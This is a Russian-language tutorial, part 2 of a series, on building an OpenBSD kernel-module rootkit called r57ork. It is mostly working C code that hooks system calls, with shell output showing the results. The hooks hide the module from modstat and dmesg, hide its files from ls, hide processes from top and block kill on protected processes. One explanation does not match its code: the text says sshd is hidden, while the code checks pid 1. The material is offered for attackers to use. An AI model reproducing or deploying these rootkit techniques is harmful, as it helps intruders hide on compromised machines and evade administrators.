Attacking OpenBSD with LKM - part 2

Attacking OpenBSD with LKM - part 2

Первый вопрос который встает при создании LKM руткита - какие системные вызовы модифицировать? С одной стороны - чем больше системных вызовов подменено - тем незаметнее наше присутствие в системе, с другой стороны - тем подозрительнее ведет себя система.

by __blf RST/GHC blf(at)rst.void.ru

http://rst.void.ru

http://www.ghc.ru

В этой части статьи мы рассмотрим основные вопросы с которыми приходится встречается при написании LKM руткита под OpenBSD платформу. Перед прочтением настоятельно рекоммендую ознакомится с содержимым /usr/src/sys. Хочу сказать спасибо людям которые помогали мне - meder, grange, moonspell и Inck-Vizitor. Работать будем под OpenBSD 3.6.

Первый вопрос который встает при создании LKM руткита - какие системные вызовы модифицировать? С одной стороны - чем больше системных вызовов подменено - тем незаметнее наше присутствие в системе, с другой стороны - тем подозрительнее ведет себя система. Чтобы полностью изменить системный вызов, необходимо предугадать все возможные случаи работы системы, что довольно трудно. Часто руткит выдает свое присутствие именно небольшими на первый взгляд недоделками. Полный код протроянненого системного вызова в r57ork занимет довольно много места, поэтому в этой части статьи мы рассмотрим только базовые примеры замены системных вызовов. Чтобы разобратся какие системные вызовы используются определенными утилитами, рекомендую изучить исходники самой утилиты, а так же прочесть man ktrace (1).

Прежде всего надо скрыть наш модуль из списка загруженных модулей. Для скрытия нашего модуля надо немного изменить системный вызов ioctl(). Для начала нужно позаботится о скрытии DDB message при загрузке модуля. Для этого в обработчик загрузки модуля нужно вставить строку:

Код:

case LKM_E_LOAD:
my_id = lkmtp->id; /* get out lkm id */
lkmtp->syms = NULL;

Теперь после загрузки нашего модуля dmesg останется чистым:

Код:

localhost# dmesg | tail
dkcsum: wd0 matched BIOS disk 80
root on wd0a
rootdev=0x0 rrootdev=0x300 rawdev=0x302
uhub5 at uhub0 port 1
uhub5: Iiyama Hub, class 9/1, rev 1.00/1.00, addr 2
uhub5: 5 ports with 4 removable, self powered
uhidev0 at uhub0 port 2 configuration 1 interface 0
uhidev0: Logitech Optical USB Mouse, rev 2.00/3.40, addr 3, iclass 3/1
ums0 at uhidev0: 3 buttons and Z dir.
wsmouse0 at ums0 mux 0
localhost#

Перейдем к скрытию модуля из списка загруженных модулей. Вот как будет выглядеть новый ioctl():

Код:

int my_ioctl (struct proc *p, void *v, register_t *retval)
{
int32_t error;
struct sys_ioctl_args * uap = v;
struct lmc_stat stat;
struct lmc_unload unload;
if (SCARG(uap, com) == LMSTAT) /* hide from modstat */
{
if ((copyin(SCARG(uap, data), &stat, sizeof(stat))) != 0)
return EINVAL;
if (stat.id >= my_id)
{
stat.id++;
copyout(&stat, SCARG(uap, data), sizeof(stat));
if ((error = pure_ioctl(p, v, retval)) == EINVAL)
{
copyin(SCARG(uap, data), &stat, sizeof(stat));
stat.id--;
copyout(&stat, SCARG(uap, data), sizeof(stat));
return EINVAL;
}
else
{
copyin(SCARG(uap, data), &stat, sizeof(stat));
stat.id--;
copyout(&stat, SCARG(uap, data), sizeof(stat));
}
}
else
{
if ((error = pure_ioctl(p, v, retval)) == EINVAL)
{
return EINVAL;
}
if ((copyin(SCARG(uap, data), &stat, sizeof(stat))) != 0)
{
return EINVAL;
}
if (strncmp(stat.name, "r57ork", 6) == 0)
{
return ENOENT;
}
if (stat.id > my_id)
{
stat.id--;
}
if ((copyout(&stat, SCARG(uap, data), sizeof(stat))) != 0)
{
return EINVAL;
}
}
return error;
}
return pure_ioctl(p, v, retval);
}

Мы просто проверяем аргумент com, если его значение равно LMSTAT (при вызове modstat) то мы удаляем из списка наш модуль, предварительно проверив его местонахождение в списке. Если же нет, то просто возвращаем оригинальный вызов, предварительно сохраненный в pure_ioctl(). Вот что мы получим при загрузке нашего модуля:

Код:

localhost# modload -e r57ork t.o
Module loaded as ID 0
localhost# modstat
Type Id Off Loadaddr Size Info Rev Module Name
localhost#

Как мы видим нашего модуля в списке не видно. Тот же резальтат будет и при нескольких загруженных модулях.

Теперь попробуем спрятать содержимое директорий от ls. Для этого нам понадобится системный вызов getdirentries().
Вот как будет выглядеть новый вызов:

Код:

int my_getdirentries(struct proc *p, void *v, register_t *retval)
{
struct sys_getdirentries_args * uap = v;
struct dirent * dir;
int bytesret, i, incr = 0;
char buf[SCARG(uap, count)];
if(pure_getdirentries(p,v,retval)) return pure_getdirentries(p,v,retval);
bytesret = *retval;
if(copyin(SCARG(uap, buf), buf, sizeof(buf)))
{
return copyin(SCARG(uap, buf), buf, sizeof(buf));
}

for(i = 0; i< bytesret; i+=incr)
{
dir = (struct dirent *)((buf + i));
incr = dir->d_reclen;
if((strncmp(dir->d_name, "r57ork", 6) == 0))
{
bzero(buf+i, dir->d_reclen); /* erasing data */
memcpy(buf+i, buf+i+incr, bytesret-(i+incr)); /* inserting next data */
bytesret -= incr;
if(i < bytesret) incr = 0;
}
}
return (copyout(buf, SCARG(uap, buf), sizeof(buf)));
}
Здесь мы просто сравниваем имя файла в структуре с заданным значением, и в случае совпадения обнуляем структуру, а на ее место ставим следующюю.

Вот результат загрузки модуля:

Код:

localhost# ll
total 70
-rwxr----- 1 blf wheel 7463 Apr 16 20:16 ktrace.out
-rwxr----- 1 blf wheel 7638 Apr 16 20:16 r57ork.c
-rwxr----- 1 blf wheel 4676 Apr 16 20:16 r57ork.o
-rwxr----- 1 blf wheel 8767 Apr 25 11:31 t.c
-rw-r--r-- 1 blf wheel 5708 Apr 25 11:31 t.o
-rwxr----- 1 blf wheel 9352 Apr 24 11:58 t1.c
-rw-r--r-- 1 blf wheel 5736 Apr 24 11:58 t1.o
-rwxr----- 1 blf wheel 9486 Apr 24 11:26 t2.c
-rwxr----- 1 blf wheel 4328 Apr 16 20:16 t2.o
localhost# modload -e r57ork t.o
Module loaded as ID 0
localhost# ll
total 56
-rwxr----- 1 blf wheel 7463 Apr 16 20:16 ktrace.out
-rwxr----- 1 blf wheel 8767 Apr 25 11:31 t.c
-rw-r--r-- 1 blf wheel 5708 Apr 25 11:31 t.o
-rwxr----- 1 blf wheel 9352 Apr 24 11:58 t1.c
-rw-r--r-- 1 blf wheel 5736 Apr 24 11:58 t1.o
-rwxr----- 1 blf wheel 9486 Apr 24 11:26 t2.c
-rwxr----- 1 blf wheel 4328 Apr 16 20:16 t2.o
localhost#
Как мы видим, наши файлы не видны.

В системе нам надо скрывать наши процессы. Рассмотрим обман утилиты top. Для этого мы меняем системный вызов sysctl().
Вот как должен выглядеть новый вызов:

Код:

int my_sysctl (struct proc *p, void *v, register_t *retval)
{
struct sys___sysctl_args * uap = v;
int mib[6], error, len, nentries, i, bak;
char *m, *ptr;
struct kinfo_proc2 *kip;
if (SCARG(uap, new) != NULL & (error = suser(p, 0)))
return error;
if (SCARG(uap, namelen) > CTL_MAXNAME || SCARG(uap, namelen) < 2)
return EINVAL;
if((error = copyin(SCARG(uap, name), &mib, sizeof(mib))) != 0)
return error;
if (mib[0] == CTL_KERN)
if (mib[1] == KERN_PROC2)
{
error = pure_sysctl(p, v, retval);
if(copyin(SCARG(uap, oldlenp), &len, sizeof(len)))
return error;
nentries = (int)len/sizeof(*kip);
if (SCARG(uap, old) != NULL)
{
bak = len;
m = (char *) malloc (len, M_PROC, M_NOWAIT);
if (copyin(SCARG(uap, old), m, len))
return error;
ptr = m;
for (i = 0; i < nentries;)
{
kip = (struct kinfo_proc2 *)ptr;
if (kip->p_pid == 1)
{
bzero(ptr, sizeof(*kip));
memcpy(ptr, ptr+sizeof(*kip), (nentries-(i+1))*sizeof(*kip));
len-=sizeof(*kip);
nentries--;
}
else
{
ptr+=sizeof(*kip);
i++;
}
}
if (copyout(m, SCARG(uap, old), len))
return error;
if (copyout(&len, SCARG(uap, oldlenp), sizeof(len)))
return error;
free (m, M_PROC);
} // if != NULL
return error;
}
return pure_sysctl(p, v, retval);
}

Сначала идут 2 проверки, потом мы смотрим на значение аргумента name. Чтобы лучше понять как это работает рекомендую обратится к /usr/src/usr.bin/top. Далее мы сверяем имя процесса в каждой структуре с выбранным нами, и если мы находим в списке структуру с с именем процесса равным sshd, то мы обнуляем эту структуру и на ее место записываем следующую. Вот что будет после загрузки модуля:

Код:

localhost# top | grep sshd
18846 root 2 0 344K 4K idle select 0:00 0.00%
localhost# modload -e r57ork t.o
Module loaded as ID 0
localhost# top | grep sshd
localhost#

После загрузки модуля sshd пропал из списка процессов. По какому принципу прятать процессы - решать вам. Самая лучшая реализация, на мой взгляд, скрытия процессов принадлежит adore.

Нам так же может понадобится замена вызова kill(), чтобы скрытые процессы нельзя было убить. Рассмотрим простой пример:

Код:

int my_kill (struct proc *p, void *v, register_t *retval)
{
struct sys_kill_args * uap = v;
int error;
if(SCARG(uap, pid) == 1) /* will protect init */
{
return EACCES;
}
return pure_kill(p, v, retval);
}После этого систему нельзя будет отправить в reboot:

Код:

localhost# modload -e r57ork t.o
Module loaded as ID 0
localhost# reboot
reboot: SIGTSTP init: Permission denied
localhost#

В заключительной части статьи мы рассмотрим на примере r57ork уже более сложное и просчитанное изменение системных вызовов.

Устали от того, что Интернет знает о вас все?

Присоединяйтесь к нам и станьте невидимыми!